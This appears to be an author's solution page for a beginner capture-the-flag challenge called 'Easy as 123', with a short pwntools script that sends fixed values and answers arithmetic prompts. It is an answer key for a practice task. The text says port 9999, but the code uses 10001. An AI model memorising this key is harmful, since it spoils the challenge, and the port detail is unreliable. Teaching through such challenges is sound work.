Easy as 123 - Autorské řešení úlohy
·133 slov·1 min
Solution #
Follow the instructions that the challenge gives you :)
Exploit script #
An example exploit is provided. By default exploits localhost on port 9999.
This can be very easily edited inside the exploit (it’s very short).
NOTE: The exploit requires the pwntools library.
from pwn import *
r = remote('localhost', 10001)
#r = process('../src/chall')
# level 1
r.sendlineafter(b"please?", b"1")
r.sendlineafter(b"please?", b"2")
r.sendlineafter(b"please?", b"3")
r.sendlineafter(b"please?", b"31337")
# level 2
r.sendafter(b"please?", p64(1))
r.sendafter(b"please?", p64(2))
r.sendafter(b"please?", p64(3))
r.sendafter(b"please?", p64(31337))
r.sendafter(b"please?", p64(0x42f00dbabe))
for i in range(5):
l = r.recvline_startswith(b"Can you please solve this for me").split(b" ")
op1 = int(l[7])
oper = l[8].decode()
op2 = int(l[9][:-1])
res = 0
if oper == '+':
res = op1 + op2
elif oper == '-':
res = op1 - op2
elif oper == '*':
res = op1 * op2
r.send(p64(res))
print(r.recvall().decode())